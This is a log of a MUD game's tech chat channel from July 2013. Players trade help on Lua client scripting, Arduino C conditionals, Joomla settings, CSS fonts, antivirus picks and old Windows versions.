T3/r7/2013-07-01.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: %1 will never be anything, it will always be "%1"
T3/r7/2013-07-01.txt.gz:{chan ch=tech}Pei Tech: %1 == parameter right tho....
T3/r7/2013-07-01.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: So if you need to cast it as a number do something like `myvar = tonumber("%1")` then you can do `if myvar == 0`
T3/r7/2013-07-01.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: No, it'd be "%1" == 0
T3/r7/2013-07-01.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Lua doesn't care about types, so you can compare a string value to an integer, and if the string is convertable it'll do so on the fly
T3/r7/2013-07-01.txt.gz:{chan ch=tech}Pei Tech: if i do that it says attempting to compare string with number
T3/r7/2013-07-01.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Doesn't matter
T3/r7/2013-07-01.txt.gz:{chan ch=tech}Vonliege Tech: with aardmush - is there a pre-defined variable that I can use in an alias for the 'clipboard data'?
T3/r7/2013-07-01.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Or, if you're that upset about it, do if "%1" == "0"
T3/r7/2013-07-01.txt.gz:{chan ch=tech}Pei Tech: but then: if ("%1"<="100") and ("%1">="1") then doesn't work
T3/r7/2013-07-01.txt.gz:{chan ch=tech}Pei Tech: it only matches on 1 or 100
T3/r7/2013-07-01.txt.gz:{chan ch=tech}Mye Tech: use local <var> = tonumber("%1") .. thn test <var> == nil to determine if it passed conversion to number (using whatever for <var>)
T3/r7/2013-07-01.txt.gz:{chan ch=tech}Mye Tech: basically, %1 is a find and replace, so if i do "alias abc" call Note(%1), then it notes the contents of the abc variable
T3/r7/2013-07-01.txt.gz:{chan ch=tech}Mye Tech: which is why you use "%1" instead of %1
T3/r7/2013-07-01.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: i thought with lua %1 would try to call it as a variable and "%1" would use wildcards[1]
T3/r7/2013-07-01.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: No, you'd need to use loadstring or assert for that.
T3/r7/2013-07-01.txt.gz:{chan ch=tech}Pei Tech: so what i do test var == nil then
T3/r7/2013-07-01.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: if not var
T3/r7/2013-07-01.txt.gz:{chan ch=tech}Pei Tech: oh duh "test"
T3/r7/2013-07-01.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: So: if not isThisVariableSet then isThisVariableSet="" end
T3/r7/2013-07-01.txt.gz:{chan ch=tech}Pei Tech: thank you so much guys
T3/r7/2013-07-01.txt.gz:{chan ch=tech}Pei Tech: Cheezburger i'm lookin at yoou
T3/r7/2013-07-01.txt.gz:{chan ch=tech}Pei Tech: yer goin in my thank you in the readme
T3/r7/2013-07-01.txt.gz:{chan ch=tech}Pei Tech: Mye you too
T3/r7/2013-07-01.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: so anyone know of a decent brand for a reliable UPS? The one i have was cheap but the only one i could find locaclly and is apparently trash now i just had a small brown out not even enough to make anything else power down and the dumb thing tried to switch to backup power and failed.
T3/r7/2013-07-01.txt.gz:{chan ch=tech}Pei Tech: CyberPower is what i use
T3/r7/2013-07-01.txt.gz:{chan ch=tech}Doc Holliday Tech: anyone use couchpotato
T3/r7/2013-07-01.txt.gz:{chan ch=tech}Bupy Tech: Hi i got a really random C coding question for an arduino project, anyone on that's got a couple of mins?
T3/r7/2013-07-01.txt.gz:{chan ch=tech}Bupy Tech: it's basic if ... else questions?
T3/r7/2013-07-01.txt.gz:{chan ch=tech}ElFeneri Tech: just ask
T3/r7/2013-07-01.txt.gz:{chan ch=tech}Ayasinda Tech: the time you just spend explaining would be better used just asking your question
T3/r7/2013-07-01.txt.gz:{chan ch=tech}Bupy Tech: I'm struggling to understand nested if statements, and how best to do the following
T3/r7/2013-07-01.txt.gz:{chan ch=tech}Bupy Tech: I'm struggling to understand nested if statements, and how best to do the following, I have 6 LED brightness variables that range from 0 - 255 (dmx values), they are controled by a % of that variable by 3 potentiometers, but I need only the highest value potentiometer to affect the LEDs, that being said, each potentiometer has different values for each of the 6 leds. 
T3/r7/2013-07-01.txt.gz:{chan ch=tech}Bupy Tech: so if pot1 >= pot 2, else pot1 >= pot3, output led 1 = pot1val, etc
T3/r7/2013-07-01.txt.gz:{chan ch=tech}ElFeneri Tech: I doubt you will have a programming issue here. The issue is to find the most readable solution.
T3/r7/2013-07-01.txt.gz:{chan ch=tech}Hanslanda Tech: depending on language, you may not want nested if commands.
T3/r7/2013-07-01.txt.gz:{chan ch=tech}Bupy Tech: Language is C, it's an arduino board.
T3/r7/2013-07-01.txt.gz:{chan ch=tech}Garthis Tech: might be simpler to just set a variable to 0 and compare all the pots to it with it taking on the higher value, and then output the variable's value to keep it simpler
T3/r7/2013-07-01.txt.gz:{chan ch=tech}Lasher Tech: not most readable: pot1 > pot2 ? (pot1 > pot3 ? pot1 : pot3) : (pot2 > pot3 ? pot2 : pot3)
T3/r7/2013-07-01.txt.gz:{chan ch=tech}Garthis Tech: egads lasher
T3/r7/2013-07-01.txt.gz:{chan ch=tech}Hanslanda Tech: heh, that's readable?
T3/r7/2013-07-01.txt.gz:{chan ch=tech}Bupy Tech: I'm confused now! I'm just a newbie to C!
T3/r7/2013-07-01.txt.gz:{chan ch=tech}Cuddlez Tech: Looks simple to me.
T3/r7/2013-07-01.txt.gz:{chan ch=tech}Lasher Tech: if you have any kind of max macro
T3/r7/2013-07-01.txt.gz:{chan ch=tech}Lasher Tech: UMAX(UMAX(pot1,pot2),pot3))
T3/r7/2013-07-01.txt.gz:{chan ch=tech}Lasher Tech: much nicer :)
T3/r7/2013-07-01.txt.gz:{chan ch=tech}Garthis Tech: although i do enjoy tri statements wow hehe
T3/r7/2013-07-01.txt.gz:{chan ch=tech}Cuddlez Tech: Lost me at scene. :P
T3/r7/2013-07-01.txt.gz:{chan ch=tech}Cuddlez Tech: Whoops, mischan, but he can still read it. >.>
T3/r7/2013-07-01.txt.gz:{chan ch=tech}Garthis Tech: hehe
T3/r7/2013-07-01.txt.gz:{chan ch=tech}Thyth Tech: how do i use mccp on blowtorch?
T3/r7/2013-07-01.txt.gz:{chan ch=tech}[Deputy] Mokg Tech: should be on automatically
T3/r7/2013-07-01.txt.gz:{chan ch=tech}None the Wyza Tech: just type "mccp"
T3/r7/2013-07-01.txt.gz:{chan ch=tech}Thyth Tech: ah, thank you!
T3/r7/2013-07-01.txt.gz:{chan ch=tech}None the Wyza Tech: and you'll see
T3/r7/2013-07-01.txt.gz:{chan ch=tech}Tech: Thyth cheers
T3/r7/2013-07-02.txt.gz:{chan ch=tech}Elchanan Tech: when netlix looks like a list of hyperlinks but no images and cant watch a movie what is the issue
T3/r7/2013-07-02.txt.gz:{chan ch=tech}Elchanan Tech: netflix*
T3/r7/2013-07-02.txt.gz:{chan ch=tech}Elchanan Tech: ?
T3/r7/2013-07-02.txt.gz:{chan ch=tech}Loreli Tech: Are you using request policy or any plugins that block connections?
T3/r7/2013-07-02.txt.gz:{chan ch=tech}Acidangel Tech: this started showing up on my cmud, anybody know how to disable this?
T3/r7/2013-07-02.txt.gz:{chan ch=tech}Acidangel Tech: {chan ch=auction}
T3/r7/2013-07-02.txt.gz:{chan ch=tech}Acidangel Tech: {chan ch=tech}
T3/r7/2013-07-02.txt.gz:{chan ch=tech}Darkwing Duckbat Tech: tags channels off
T3/r7/2013-07-02.txt.gz:{chan ch=tech}Tech: better than turning those off would be to use an aard channel capture script, though...there should be one in the script repository
T3/r7/2013-07-02.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: i found a js example where the sound files are converted already. i wanna do that too.. how is this thing done? how is it called (to google it later). example is a bit spammy...
T3/r7/2013-07-02.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: var wpn_shotgun_fire_02 = "//ugBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASW5mbwAAAA8AAAAZAAA1DwAKCg.... etc.
T3/r7/2013-07-02.txt.gz:{chan ch=tech}Acidangel Tech: calling a function?
T3/r7/2013-07-02.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: i have no clue how this has been done. some little app has to turn a sound file into one line of text that can be used as a variable
T3/r7/2013-07-02.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: or so it seems
T3/r7/2013-07-02.txt.gz:{chan ch=tech}Cuddlez Tech: Anyone use jUnit with Eclipse and know if there's a way to stop it from automatically saving configurations?
T3/r7/2013-07-02.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: anyone know if there's a version of windows that i can install into a qemu disk image?
T3/r7/2013-07-02.txt.gz:{chan ch=tech}Zade Tech: thinking of the Samsung Galaxy Note2 wifi smartphone (with an optional "pay as you go" option or an extremely cheap phone plan) - is there a better direction
T3/r7/2013-07-02.txt.gz:{chan ch=tech}Pei Tech: sounds good........
T3/r7/2013-07-02.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: i have 4 files for 1 page. when i change something in other than the main, chrome doesnt notice and does it the old way. hm. what to do?
T3/r7/2013-07-02.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: crhome resources window shows empty file when there actually is something there.
T3/r7/2013-07-02.txt.gz:{chan ch=tech}Tymas Tech: anybody know about the search & destroy plugin?
T3/r7/2013-07-02.txt.gz:{chan ch=tech}Tymas Tech: the winklewinkle one
T3/r7/2013-07-02.txt.gz:{chan ch=tech}Zetkax Tech: yea its good
T3/r7/2013-07-02.txt.gz:{chan ch=tech}Tymas Tech: Is there a way i can make it remember the mob names? cuz sometimes it uses the wrong keywords
T3/r7/2013-07-02.txt.gz:{chan ch=tech}Zetkax Tech: for the few times it doesnt get the mob name right i just hunt it manually
T3/r7/2013-07-02.txt.gz:{chan ch=tech}Frie Tech: can also use ah and ht to use the name  you need but just takes more time
T3/r7/2013-07-03.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: okay, so i got mushclient installed, do i do anything special to enable the auto-respell feature?
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Goldryn Tech: what is the "auto-respell" feature?
T3/r7/2013-07-03.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: Goldryn the thing that recasts the spellup spells that wear off
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Goldryn Tech: ahh.  can't you set up a trigger for each spell that gets invoked as per the expiry message that is displayed when each spell has expired?  Yeah, it's cumbersome to setup but at least it would work.
T3/r7/2013-07-03.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: how do i enable a plugin?
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Bamboo Tech: Where does mapper store its data? I want to copy it to another machine
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Fravardin Tech: what's the "Input too truncating" that happens during AFK?
T3/r7/2013-07-03.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: something your client is doing, not something the mud is...
T3/r7/2013-07-03.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: At least pretty likely...
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Fravardin Tech: well that's strange
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Fravardin Tech: never seen it before
T3/r7/2013-07-03.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: it says that exactly...
T3/r7/2013-07-03.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: not too long?
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Fravardin Tech: pardon?
T3/r7/2013-07-03.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: did you leave out a word?
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Fravardin Tech: no
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Fravardin Tech: wait
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Fravardin Tech: it says "Input too long. Truncating"
T3/r7/2013-07-03.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: that is message you get when you send really reallly long command to mud
T3/r7/2013-07-03.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: I've only seen it with very long tells myself, but the tells wnet through
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Fravardin Tech: I was afk so how did I do that?
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Fravardin Tech: oh someone else
T3/r7/2013-07-03.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: this why I suggested your client
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Fravardin Tech: so it's nothing I can resolve?
T3/r7/2013-07-03.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: no, I mean I sent very long tell and I get that message and tell is cutoff
T3/r7/2013-07-03.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: turn on echocommands and go afk
T3/r7/2013-07-03.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: though if you are afk might be harder not sure what gets through when you set yourself afk...
T3/r7/2013-07-03.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: or are you afk without flag?
T3/r7/2013-07-03.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: just test it.  echocommands will tell you if you enter gibberish when afk is on
T3/r7/2013-07-03.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: to ry that
T3/r7/2013-07-03.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: soo try..
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Fravardin Tech: okay I'll give it a try
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Endangered Sabertooth Tech: where can i find a moon scrypt?
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Darkwing Duckbat Tech: scrypt eh?
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Endangered Sabertooth Tech: moon plugin
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Jaenelle Tech: Anyone know anything about Joomla? :P
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Ayasinda Tech: a bit
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Wildkard Tech: ...I tried it out once when I was looking for a CMS but I'm sorry don't know much more then that
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Ullin Tech: wildkard...out of curiosity which CSM did you end up with?
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Wildkard Tech: We ended up making microsoft sharepoint standup and dance for us
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Ullin Tech: that must have been fun (not)
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Jaenelle Tech: We seem to have a contact form going to the wrong email address. :P I've never logged in before, so I know pretty much nothing. And it seems to be in some sort of module. :P
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Wildkard Tech: well we had a sharepoint expert
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Jaenelle Tech: (the lovely summer months when noone at all is at work and stuff gets dumped on others) :)
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Ayasinda Tech: contact forms are usually designed in the module. There you should also be able to set the email adress. What module do you use for the forms?
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Jaenelle Tech: attempting to figure that out. ;)
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Jaenelle Tech: aiContactSafe module? Maybe. :P
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Wildkard Tech: is it something that worked before?  Or a bug in the code?
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Jaenelle Tech: They just want to change where it goes. :)
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Jaenelle Tech: So it works as is, but they don't like the email address it is configured to go to. I can't find the configuration to change it and our normal web person is off for the next month for summer vacation :)
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Wildkard Tech: a quick google showed protech I take it you have the administrators login and password?
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Jaenelle Tech: I managed to acquire them for myself already ;)
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Wildkard Tech: lol nice
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Wildkard Tech: and you know how to go to the /administrator page right?
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Wildkard Tech: (have to ask)
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Jaenelle Tech: Already there, that's how I figured out the module. But good place to start with. ;) Cause that's about as far as I got.
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Jaenelle Tech: I was able to fix some typos in articles, but that's about it. Modules were a bit more complicated than just adding or editing articles.
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Wildkard Tech: do you see the contact form you wish to edit in the menus?
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Ayasinda Tech: Think you need to be at the profiles page
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Wildkard Tech: that could be also, if it is just a users email you want to edit..like if its going to the admin
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Wildkard Tech: but probably admin doesn't want you changing their email
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Wildkard Tech: so you can change the users email or the actual user it is going to on the specific page
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Jaenelle Tech: Profiles page just changes my email. I think it is something in the module manager, but not entirely sure.
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Wildkard Tech: so is it the contact me on every page?
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Wildkard Tech: like a page footer that some module may have added
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Jaenelle Tech: It's a form that shows only up on one page.
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Jaenelle Tech: But that seems to be a setting. I found how to make it show up on a page and which checkbox there is selected.
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Wildkard Tech: well without knowing the specific module, I would try to access it from the menus option in the upper left side, click the contact form...
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Wildkard Tech: far as i can tell thats the normal way, it should be one of the items, don't actually change the alias or the link url though
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Wildkard Tech: for the aicontactsafe module I found this website: http://www.inmotionhosting.com/support/edu/joomla-25/contact-form/change-to-address
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Wildkard Tech: step by step to update the Email address but seems like its just telling you how to change the profile email
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Wildkard Tech: but it does talk about going into the components/aicontactsafe/profiles section so maybe it is what you need
T3/r7/2013-07-03.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: how to make the letters of any font in css to have the same size - so that that i and M has the same spacing in the text?
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: That is the font, not the CSS
T3/r7/2013-07-03.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Is that a CSS thing, or a font specific thing?  
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Pei Tech: use a monospaced font
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: You are after monospace
T3/r7/2013-07-03.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: thank
T3/r7/2013-07-03.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: ..s
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Darkwing Duckbat Tech: i have a bottleneck in an application i'm writing, anyone have any ideas how to make it faster? http://duckbat.com/code.txt
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: You are generating counts on the fly - it wouldn't be very good design from a purist perspective, but if it's speed you are after you could maintain a count and simply reference it when needed instead of iterating through your entire container each time.
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Darkwing Duckbat Tech: yes but the count changes each time i want to access it so there is no point to save value
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: I mean when the count changes, update the count at the point that makes the change
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: So update the count along with the change operation
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Darkwing Duckbat Tech: hmm
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: You'd be introducing some tighter coupling, and you would need to make sure you maintained the count integrity, but as far as speed only goes there is no better solution
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Darkwing Duckbat Tech: all points can change every time but i see what you mean, only update those points that changed, i'll try it
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Pei Tech: damn, you're a genius vakieh
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Pei Tech: you too duckbat
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Darkwing Duckbat Tech: not me, i didn't think of this :P
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Pei Tech: hehe, but you wrote duckbat.com that's pretty genuius
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Pei Tech: genius*
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Metzli Tech: Kind of random, but anyone have experience installing paging systems?
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Tech: I've done PBX-based paging systems
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Emage Tech: who has the best plugins for aardmush?
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Emage Tech: bast?  or is there someone else?
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Frolo Tech: bast and msuh client itseld
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Frolo Tech: bast and msuh client itself
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Emage Tech: so bast and non aard mushclient?
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Ayasinda Tech: define 'best' 
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Emage Tech: well for functionality...... i'm a mage.
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Ayasinda Tech: what you think is good I might never use
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Vost Tech: I couldn't get Bast's plugins to work on MUSHclient
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Pei Tech: why not
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Vost Tech: I am back to using Winklewinkle's plugin
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Pei Tech: did you install them wrong
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Pei Tech: they need to be in a folder called Bast inside plugins
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Vost Tech: I dunno why not
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Vost Tech: Winklewinkle's plugin works just fine though
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Emage Tech: is there a way to get the standard mushclient?
T3/r7/2013-07-03.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: yes. download it
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Ayasinda Tech: download from gammon's site I think
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Frolo Tech: anybody know where i can get the lget plugin?
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Do none of y'all know how to google? :P
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Wildkard Tech: stick with telnet and mud hard core
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Frolo Tech: i tried to google, but couldn't get it anywhere
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Hanslanda Tech: I prefer Bing myself.
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Emage Tech: bing it on!
T3/r7/2013-07-03.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: cheez, did you get my note re: demigod mode on my phone that resembled kernel panic and talked about firmware mismatch? any idea?
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Ayasinda Tech: nah, they prefer to ask us so we can send them in circles
T3/r7/2013-07-03.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: hey whats the text to set for a stay online trigger , like when i fade into the void ?
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Vonliege Tech: "Your eyes glaze over."
T3/r7/2013-07-03.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: ok thanks von
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Vonliege Tech: always
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Zade Tech: which is prefereable for anti-virus (and anti-trojans) safety, "Microsoft Security Essentials" or "Norton 360"
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Zade Tech: preferable
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Frie Tech: well i like free so microsoft is ok for that. norton is a bit of a hog but its also good depends on your ability to avoid bad things hehe
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Frolo Tech: i think both are not the best, i prefer the nopay solutions
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Ayasinda Tech: I really dislike Microsoft. It has low test results. Don't know Norton from memory and too lazy to look them up
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Zade Tech: what bad things from Norton
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Frie Tech: micro hasnt failed me yet :-)
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Ayasinda Tech: the fact that it hasn't failed you soesn't mean it detects everything
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Vonliege Tech: I thought Norton was malware
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Vonliege Tech: =)
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Frie Tech: it does a fair job i have taken it places of known issues and it passed
T3/r7/2013-07-03.txt.gz:{chan ch=tech}CeriQ Tech: I use the microsoft one. :)
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Ayasinda Tech: it does. I didn't say it detects nothing. But it has low test results
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Vonliege Tech: I do know that one the two or three occations where I have tried to use Norton, it had a noticable overhead... and I'm not savy enough to tweak it
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Tech: Thunderous Norton pouts. 
T3/r7/2013-07-03.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: has anyone done anything with web audio api in html? i find this oscillator thingy acting very strange. still too buggy to work with perhaps?
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Zade Tech: Paypal no longer longer likes iExplorer 6 (Win98e), so upgraded to a WinXP machine - came with "Microsoft Security Essentials"
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Zade Tech: was about to install Norton 360 (paid less than half-price)  but Norton360 says "compatibility check" and wants me to click "uninstall Microsoft Security Essentials" (but a foreboding indicates maybe not a great idea)
T3/r7/2013-07-03.txt.gz:{chan ch=tech}CeriQ Tech: Zade, I'm not entirely certain but I hope you're joking.. :)
T3/r7/2013-07-03.txt.gz:{chan ch=tech}CeriQ Tech: If not, you're the reason the rest of us can't have nice things.
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Zade Tech: joking, how?
T3/r7/2013-07-03.txt.gz:{chan ch=tech}CeriQ Tech: It's a technical process where you state a lie that others might find amusing.
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Vost Tech: I upgraded to Windows XP 6 months ago
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Frie Tech: which part hehe
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Vost Tech: because the modern versions of MUSHclient don't work on Windows 98
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Frie Tech: aww 
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Zade Tech: discovered that Paypal didn't work last April on Win98e with iExplorer6 -- and was unable to upgrade to anything more modern (more modern browsers seem to insist on WinXP Vista Win7 Win8)
T3/r7/2013-07-03.txt.gz:{chan ch=tech}StarsOscar Tech: use linux - much more modern
T3/r7/2013-07-03.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: or minix
T3/r7/2013-07-03.txt.gz:{chan ch=tech}CeriQ Tech: WHY would you run a 15 year old operating system?
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Vost Tech: because it works
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Zade Tech: same reason i play a text game
T3/r7/2013-07-03.txt.gz:{chan ch=tech}CeriQ Tech: It doesn't work.
T3/r7/2013-07-03.txt.gz:{chan ch=tech}StarsOscar Tech: will it give him amodern browser?
T3/r7/2013-07-03.txt.gz:{chan ch=tech}CeriQ Tech: And why would you upgrade to a 9 year old system?
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Vost Tech: I am playing now on a 14 year old PC
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Vost Tech: Pentium 3, 600 MHz
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Frie Tech: wow
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Vost Tech: because my hardware cannot handle Vista
T3/r7/2013-07-03.txt.gz:{chan ch=tech}CeriQ Tech: 7 requires less resources than vista.
T3/r7/2013-07-03.txt.gz:{chan ch=tech}CeriQ Tech: but yeag, if you're running something pre P4, I get your point.
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Vost Tech: whatever, my PC won't run anything more resource-intensive
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Vost Tech: I tried a couple of Linux versions too
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Vost Tech: using LiveCD, very slow
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Zade Tech: the WinXP machine is refurbished, inexpensicve, and works, and am clueless as to what to do to obtain a decent Win8 gaming machine (or how much they reasonably cost)
T3/r7/2013-07-03.txt.gz:{chan ch=tech}CeriQ Tech: gaming machine, 1.5-2K USD.
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Tigernuts Tech: get an xbox
T3/r7/2013-07-03.txt.gz:{chan ch=tech}CeriQ Tech: But you'll get a laptop that'll blow anything running winxp away for 3-400.
T3/r7/2013-07-03.txt.gz:{chan ch=tech}CeriQ Tech: Don't get an xbox. :D
T3/r7/2013-07-03.txt.gz:{chan ch=tech}CeriQ Tech: The games are expensive.
T3/r7/2013-07-03.txt.gz:{chan ch=tech}Zade Tech: what processor, video card, mainboard
T3/r7/2013-07-03.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: i should install linux, but its hard choosing a secure filesystem
